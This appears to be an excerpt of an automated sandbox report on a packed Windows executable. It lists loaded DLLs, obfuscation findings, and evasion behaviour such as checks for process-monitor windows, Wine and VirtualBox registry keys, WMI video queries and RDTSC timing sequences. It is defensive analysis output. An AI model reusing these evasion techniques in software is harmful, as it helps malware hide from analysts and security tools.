Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: eYAXkcBRfQ.exe

Static file information: File size 2984960 > 1048576

Source: eYAXkcBRfQ.exe

Static PE information: Raw size of tedoginf is bigger than: 0x100000 < 0x2af000

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: eYAXkcBRfQ.exe, 00000000.00000002.2525438887.0000000005B32000.00000040.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe

Unpacked PE file: 0.2.eYAXkcBRfQ.exe.bb0000.0.unpack :EW;.rsrc :W;.idata :W;tedoginf:EW;wqgwobbx:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;tedoginf:EW;wqgwobbx:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: eYAXkcBRfQ.exe

Static PE information: real checksum: 0x2da963 should be: 0x2dc80b

Source: eYAXkcBRfQ.exe	Static PE information: section name:
Source: eYAXkcBRfQ.exe	Static PE information: section name: .rsrc
Source: eYAXkcBRfQ.exe	Static PE information: section name: .idata
Source: eYAXkcBRfQ.exe	Static PE information: section name: tedoginf
Source: eYAXkcBRfQ.exe	Static PE information: section name: wqgwobbx
Source: eYAXkcBRfQ.exe	Static PE information: section name: .taggant

Source: eYAXkcBRfQ.exe

Static PE information: section name: entropy: 7.982748656783859

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: C09499 second address: C0949D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D85FF4 second address: D85FFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D85FFC second address: D86000 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D86000 second address: D8600A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D85002 second address: D85006 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D85177 second address: D8517B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D855B5 second address: D855BA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D88E31 second address: D88E5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007FA34CE69A25h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D88E5D second address: D88E62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D88E62 second address: D88E83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007FA34CE69A18h 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D88F1F second address: D88F79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CB66822h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov si, 11CDh 0x00000010 push 00000000h 0x00000012 call 00007FA34CB66819h 0x00000017 pushad 0x00000018 jmp 00007FA34CB66829h 0x0000001d jmp 00007FA34CB6681Ch 0x00000022 popad 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push ebx 0x00000027 jc 00007FA34CB66816h 0x0000002d pop ebx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D88F79 second address: D89003 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA34CE69A18h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007FA34CE69A27h 0x00000015 mov eax, dword ptr [eax] 0x00000017 jmp 00007FA34CE69A1Fh 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 jmp 00007FA34CE69A23h 0x00000025 pop eax 0x00000026 adc cx, DB5Ah 0x0000002b push 00000003h 0x0000002d jmp 00007FA34CE69A1Ch 0x00000032 push 00000000h 0x00000034 add dword ptr [ebp+122D1CA8h], edx 0x0000003a push 00000003h 0x0000003c call 00007FA34CE69A19h 0x00000041 jmp 00007FA34CE69A1Dh 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 push ebx 0x0000004a pushad 0x0000004b popad 0x0000004c pop ebx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D89003 second address: D8900D instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA34CB6681Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D890F1 second address: D89192 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 mov edi, dword ptr [ebp+122D2D8Fh] 0x0000000e push 00000000h 0x00000010 mov edx, dword ptr [ebp+122D2C3Fh] 0x00000016 push 36361044h 0x0000001b ja 00007FA34CE69A2Eh 0x00000021 xor dword ptr [esp], 363610C4h 0x00000028 xor dword ptr [ebp+122D1BDFh], ecx 0x0000002e push 00000003h 0x00000030 push esi 0x00000031 call 00007FA34CE69A1Eh 0x00000036 pushad 0x00000037 popad 0x00000038 pop edi 0x00000039 pop esi 0x0000003a add edi, 7E00B046h 0x00000040 push 00000000h 0x00000042 je 00007FA34CE69A20h 0x00000048 ja 00007FA34CE69A1Ah 0x0000004e jnc 00007FA34CE69A17h 0x00000054 push 00000003h 0x00000056 sub ecx, dword ptr [ebp+122D2CD7h] 0x0000005c push 75D51EE6h 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007FA34CE69A28h 0x00000068 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D89192 second address: D891EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CB66825h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 4A2AE11Ah 0x00000010 clc 0x00000011 lea ebx, dword ptr [ebp+12453D7Dh] 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007FA34CB66818h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 00000017h 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 sub dword ptr [ebp+122D3AD1h], edx 0x00000037 mov edx, dword ptr [ebp+122D2C93h] 0x0000003d xchg eax, ebx 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 push edi 0x00000042 pop edi 0x00000043 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D76758 second address: D7675C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D7675C second address: D7677F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CB6681Bh 0x00000007 jmp 00007FA34CB66824h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DA7F23 second address: DA7F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 ja 00007FA34CE69A22h 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FA34CE69A26h 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 jno 00007FA34CE69A16h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DA8079 second address: DA8089 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007FA34CB6681Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DA81DA second address: DA81FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA34CE69A21h 0x00000009 popad 0x0000000a push eax 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 jnl 00007FA34CE69A16h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DA85CA second address: DA85D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007FA34CB66816h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DA85D6 second address: DA85F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA34CE69A21h 0x00000009 jo 00007FA34CE69A16h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DA8B80 second address: DA8B97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA34CB6681Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DA8E32 second address: DA8E3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007FA34CE69A16h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D9EC29 second address: D9EC2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DA911F second address: DA912F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007FA34CE69A16h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DA9689 second address: DA969B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push ecx 0x0000000a pushad 0x0000000b popad 0x0000000c push edx 0x0000000d pop edx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DA969B second address: DA96BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FA34CE69A27h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DA96BE second address: DA96C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DA9891 second address: DA9897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DA9897 second address: DA989B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DA989B second address: DA98A1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DA98A1 second address: DA98A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DA98A7 second address: DA98AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DA98AD second address: DA98B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FA34CB66816h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DA9A33 second address: DA9A58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jl 00007FA34CE69A30h 0x0000000b jmp 00007FA34CE69A28h 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DA9A58 second address: DA9A64 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DA9E81 second address: DA9E8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DAD19D second address: DAD1B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FA34CB66816h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007FA34CB66816h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DAD1B0 second address: DAD1E3 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA34CE69A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007FA34CE69A28h 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jp 00007FA34CE69A16h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DAD1E3 second address: DAD1E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DAD1E9 second address: DAD1EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DAD1EF second address: DAD1F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DAD1F3 second address: DAD219 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FA34CE69A27h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DABBF6 second address: DABC04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007FA34CB66816h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DAD316 second address: DAD31A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DAD31A second address: DAD323 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DB302C second address: DB3032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DB3032 second address: DB3038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DB69D7 second address: DB69E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FA34CE69A16h 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DB69E3 second address: DB69E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DB69E9 second address: DB69FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA34CE69A1Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DB69FE second address: DB6A19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FA34CB66825h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DB5DAD second address: DB5DB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FA34CE69A16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DB5F2E second address: DB5F35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 rdtsc
